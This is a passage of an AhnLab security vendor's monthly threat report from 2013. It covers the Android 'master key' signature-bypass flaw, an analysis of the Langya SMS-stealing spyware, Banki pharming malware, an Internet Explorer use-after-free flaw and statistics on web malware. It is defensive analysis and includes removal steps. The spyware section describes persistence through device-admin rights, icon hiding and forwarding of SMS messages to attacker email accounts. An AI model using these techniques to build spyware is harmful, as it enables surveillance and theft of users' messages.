Figure 1-65 | Central header vulnerability diagram

Figure 1-66 | Vulnerability POC samples

Process only when it's bigger than 0

Don't process when it's directory

Don't process the files in 

META-INF directory

Skip 32768 bytes which 

is the size of extra field

Illegal

Legitimate

No ‘Extra field’ is identified 
because  the size of extra field 
is recognized as  ‘-32768’ and 
it makes the value less than 0.
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ASEC has developed and applied methods to V3 mobile products 

to detect vulnerabilities verified so far. V3 mobile products detect 

the malicious codes exploiting certificate-bypassing vulnerability 

as Android-Trojan/SignatureBypass.Gen and Android-Trojan/

MasterKey.

Chinese Langya malicious app

Let's take a look at the Chineses Langya malicious app 

specifically targeting Korean smartphone users. 

Langya (狼牙) is a Chinese word, meaning 'wild dog teeth'. The 

threat has been named Langya because its activity and receiver 

names are Langya in the malicious apps.

[Permission]

android.permission.WRITE_SMS

android.permission.RECEIVE_SMS

android.permission.READ_SMS

android.permission.INTERNET

android.permission.CAMERA

android.permission.MOUNT_UNMOUNT_FILESYSTEMS

android.permission.READ_CONTACTS

android.permission.ACCESS_FINE_LOCATION

android.permission.ACCESS_COARSE_LOCATION

android.permission.READ_PHONE_STATE

android.permission.RECEIVE_BOOT_COMPLETED

android.permission.RECORD_AUDIO

normal files are used for the integrity check to exploit the above 

vulnerability. 

[Figure 1-67] shows the APK decompressed folder that contains 

the extracted DEY files created during the above app installation 

and execution above. The DEY file is an optimized DEX image file 

to enhance application execution speed on the Dalvik VM, which 

is saved in the folder '/data/dalvik-cache'. In short, the actually 

executed DEX file is saved. 

[Figure 1-68] shows the search results of files with similar DEX 

file patterns. 'malicious' classes. dex files are searched instead of 

the normal classes_1.dex file. It is verified that the malicious DEX 

file is actually executed.

Android, the most popular mobile operating system in the world, 

provides a great deal of autonomy to users and developers. Over 

the years, this autonomy has been driving the third party markets 

or causing security issues like repackaging. The PC malicious 

code attackers are turning to mobile malware.

Considering this trend, the 'master key' vulnerability is firing 

a flare to attract more attention of cyber attackers. The 

methodologies of malware will become more rapidly advanced 

and sophisticated as cyber criminals analyze this vulnerability 

and develop malicious codes to avoid the user detection.

To protect your smartphone, always install apps through official 

markets and do not install apps from suspicious URLs in SMS or 

Kakao Talk messenger. Scan your installed programs regularly 

with mobile antivirus software to enjoy your smartphone more 

safely and conveniently. 

Figure 1-67 | Additional DEY file created upon app execution

Figure 1-68 | Inclusion of the same pattern as the malicious DEX 
pattern

Figure 1-69 | Malicious app initial execution screen

Figure 1-70 | Activity and Receiver names of malicious apps

Illegal

DEY file generated after executing the App

Legitimate
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android.permission.CALL_PHONE

android.permission.READ_PHONE_STATE

android.permission.SEND_SMS

android.permission.ACCESS_NETWORK_STATE

android.permission.ACCESS_WIFI_STATE

android.permission.REBOOT

android.permission.PROCESS_OUTGOING_CALLS

android.permission.MODIFY_PHONE_STATE

android.permission.CALL_PHONE

android.permission.SYSTEM_ALERT_WINDOW

android.permission.ACCESS_WIFI_STATE

android.permission.CHANGE_WIFI_STATE

android.permission.MOUNT_UNMOUNT_FILESYSTEMS

android.permission.INSTALL_PACKAGES

android.permission.CHANGE_NETWORK_STATE

android.permission.WAKE_LOCK

android.permission.MODIFY_AUDIO_SETTINGS

This malicious app requests many sensitive permissions related 

to security.

[Major functions]

1. App removal prevention function (The app cannot be removed 

using normal methods unless its user sets special settings.) 

When the malicious app is run, the code in [Figure 1-71] is executed 

to request the Device Administrator permission (Lock the screen).

If the Activate button is selected, the special permission (Lock the 

screen) is given to the malicious app and the application manager 

cannot remove the installed app. 

To delete the malicious apps, go to Setup > Security > Device 

Manager menus and uncheck the 'sample_device_admin' item. 

Now, the Uninstall button is enabled in the Application Manager 

and the app can be removed.

2. When the malicious app is installed and initially executed, it hides 

its icon in the application list. 

Figure 1-71 | Device administrator permission request screen

Figure 1-74 | sample_device_admin item

Figure 1-72 | Device Admin permission request and function call codes

Figure 1-73 | Uninstall button disabled to prevent apps from being deleted

Figure 1-75 | Malicious app icon displayed after installation
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The executed malicious app calls the setComponentEnabledSetting() 

API function. 

When the setComponentEnabledSetting() API function is called, the 

malicious app icon disappears from the app list. (See [Figure 1-77].)

3. All incoming messages are transferred to the email account 

specified by the attackers.

Langya malicious app monitors all text messages on the infected 

devices and transfers them to the email account specified by the 

malicious app creators.

The cybercriminal registered many email accounts that provide free 

SMTP services from the Wangyi website.

Some of the accounts are used to send text messages stolen through 

the malicious app on the Android device, and the rest of the accounts 

are used to receive stolen messages.

According to the ASEC app analysis, the following email accounts are 

used to receive stolen SMS.

wa*****2@163.com

lw******2@163.com

The outgoing email account codes are listed as below.   

ASEC can check the stolen SMS messages by connecting to the 

mail server since the malicious app does not delete outgoing emails 

through n*****@163.com. 

Many stolen SMS messages exist in the email accounts. Clicking the 

specific item can display the related message body. Dozens of SMS 

messages were stolen at the time this report was being written.

What is interesting is that this Langya malicious app contains many 

unutilized codes inside. Other Langya variants have various functions 

like stealing the address books from the infected smartphones and 

sending smishing text messages, but the newly analyzed Langya app 

contains these functions as internal codes which have never been 

used. Based on this fact, it seems a novice malicious apps developers 

partially modified and deployed the existing Langya source codes. 

There have been many similar reports made in China.

This malicious code can be detected and repaired with V3 Mobile 

products.

<V3 Mobile detects this malware in the following forms.>

-Android-Spyware/Langya

Figure 1-77 |  Icon disappears after the initial execution

Figure 1-76 | setComponentEnabledSetting() API function call

Figure 1-79 |  Sent Mail Box of n*****@163.com Account

Figure 1-78 |  Outgoing email account codes
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Figure 2-1 | MS Security Updates for each attack target

Important

MS13-058        Vulnerability in Windows Defender could Allow Elevation of Privilege

Critical
MS13-052       Vulnerabilities in .NET Framework and Sliverlight could allow 
                        remote code execution.  

MS13-053        Vulnerabilities in Windows Kernel mode driver could allow 
                        remote code execution.

MS13-054        Vulnerabilities in GDI+ could allow remote code execution.

MS13-055        Cumulative Security Update for Internet Explorer

MS13-056        Vulnerability in Microsoft DirectShow could allow 
                        remote code execution. 

MS13-057        Vulnerability in Windows Media Format Runtime could allow 
                        remote code execution. 

Table 2-1 | MMS Security Updates for July 2013

   
Security Trend

01.
Security Statistics

Microsoft issued a total of 7 security updates (6 critical, 1 important) in July 2013.Microsoft Security 

Updates- July 2013
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Banki malware spreads through various 
Korean sites

Recently, the number of malicious Bankis that interrupt normal 

internet banking transactions is soaring in Korea. If the Banki 

malware is executed in user PCs, it modifies the hosts file in 

the infected PCs to direct users to fake bank sites to perform 

pharming attacks. 

Various Korean sites are exploited to distribute this malicious 

Banki. This malicious Banki automatically infects the user PC 

that is accessing the modified site, and then redirects the user 

to the specific site installed with Web Exploit Toolkit. Despite the 

fact that most of Banki files use the same names, it is not easy to 

trace or analyze them because URLs and file names are changed  

practically every day. 

Microsoft IE Use-After-Free vulnerability 
(CVE-2013-3163) exploitation

Microsoft released a security update for exploits that took 

advantage of zero-day vulnerability in the Internet Explorer 

browsers. This vulnerability is an Internet Explorer Use-After-

Free vulnerability which causes a memory error by referring the 

mshtml!CElement:'vftable' object memory which is deallocated 

by the mshtml!ATL_free function.  

Cyber attackers can perform the desired code execution by 

exploiting this vulnerability The propagating exploits perform 

malicious actions by interoperating with Internet browsers and 

Adobe Flash Player files (SWF). (See [Figure 2-5].) 

Figure 2-2 | Before deallocating the memory 

Figure 2-6 | Hosts file modification

Figure 2-7 | Banki distribution codes

Figure 2-3 | After deallocating the memory

Figure 2-5 | Exploits

Figure 2-4 | Memory reference error

   
Security Trend

02.
Security Issues
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10,212

12,772+25.0%

Table 3-1 | Website security trends for July 2013

255235 176226 641734
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Figure 3-1 | Monthly Change in Malicious Code Detections

   
Web Security Trends

01.
Web Security Statistics

This month, SiteGuard (AhnLab‟s web browser security service) blocked 12,772 websites that 

distributed malicious codes. 235 types of malicious codes, 226 domains with malicious codes, 

and 734 URLs with malicious codes were found. Compared to the previous month, the number 

of malicious code reports, domains with malicious codes and URLs with malicious codes 

increased, whereas the number of malicious code types decreased.

Website malicious code 

trends

Reported malicious codes

Reported types of 
malicious code

Domains with 
malicious code

URLs with 
malicious code

July June

Monthly Change 

in Malicious Code 

Reports

As of July 2013, the number of malicious code reports increased to 12,772, a 25.0% increase 

from the 10,212 reported in the previous month.
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Monthly Change in the 

Number of Reported 

Malicious Code Types Figure 3-2 | Monthly Change in the Number of Reported Malicious Code Types

235 malicious code types were found in July 2013, a 7.8% decrease from the 255 found in the 

previous month.

Monthly Change 

in Domains with 

Malicious Codes Figure 3-3 | Monthly Change in Domains with Malicious Codes

226 domains were found with malicious codes in July 2013, a 28.4% increase from the 176 

found in the previous month.

Monthly Change in 

URLs with Malicious 

Codes

As of July 2013, 734 URLs with malicious codes were reported, a 14.8% increase from the 641 

found in the previous month.

Figure 3-4 | Monthly Change in URLs with Malicious Code
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Ranking ↑↓ Malicious Code Reports   Percentage

Type Report     Percentage

SPYWARE 5,844 45.8 %

TROJAN 4,711 36.9 %

ADWARE 334 2.6 %

DROPPER 58 0.5 %

DOWNLOADER 51 0.4 %

Win32/VIRUT 50 0.4 %

APPCARE 8 0.1 %

JOKE 2 0 %

ETC 1,714 13.3 %

12,772 100.0 %

Table 3-2 | Top Distributed Types of Malicious Codes
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Figure 3-5 | Top Distributed Types of Malicious Codes

Table 3-3 | Top 10 Distributed Malicious Codes

1 — Win-Spyware/Agent.544453 5,767 54.1 %

2 ▲3 Trojan/Win32.Agent 2,986 28.0 %

3 — ALS/Bursted 515 4.8 %

4 NEW Worm/Win32.Luder 298 2.8 %

5 ▲1 Trojan/Win32.KorAd 262 2.4 %

6 NEW Trojan/Win32.Starter 208 1.9 %

7 ▲2 ALS/Qfas 201 1.9 %

7 ▲1 Adware/Win32.Clicker 201 1.9 %

9 NEW Win32/Induc 124 1.2 %

10 NEW Trojan/Win32.Genome 105 1.0 %

 TOTAL 10,667 100.0 %

The most frequently reported malicious code among the top 10 distributed malicious codes 

was Win-Spyware/Agent.544453(5767). A total of 4 malicious codes including Worm/Win32.

Luder were added to the top 10 list.

Top Distributed Types 

of Malicious Codes

Top Distributed Types 

of Malicious Codes

Spyware was the top distributed type of malicious codes with 5844 (45.8%) cases reported, 

followed by the Trojan Horse with 4711 (36.9%) cases reported.
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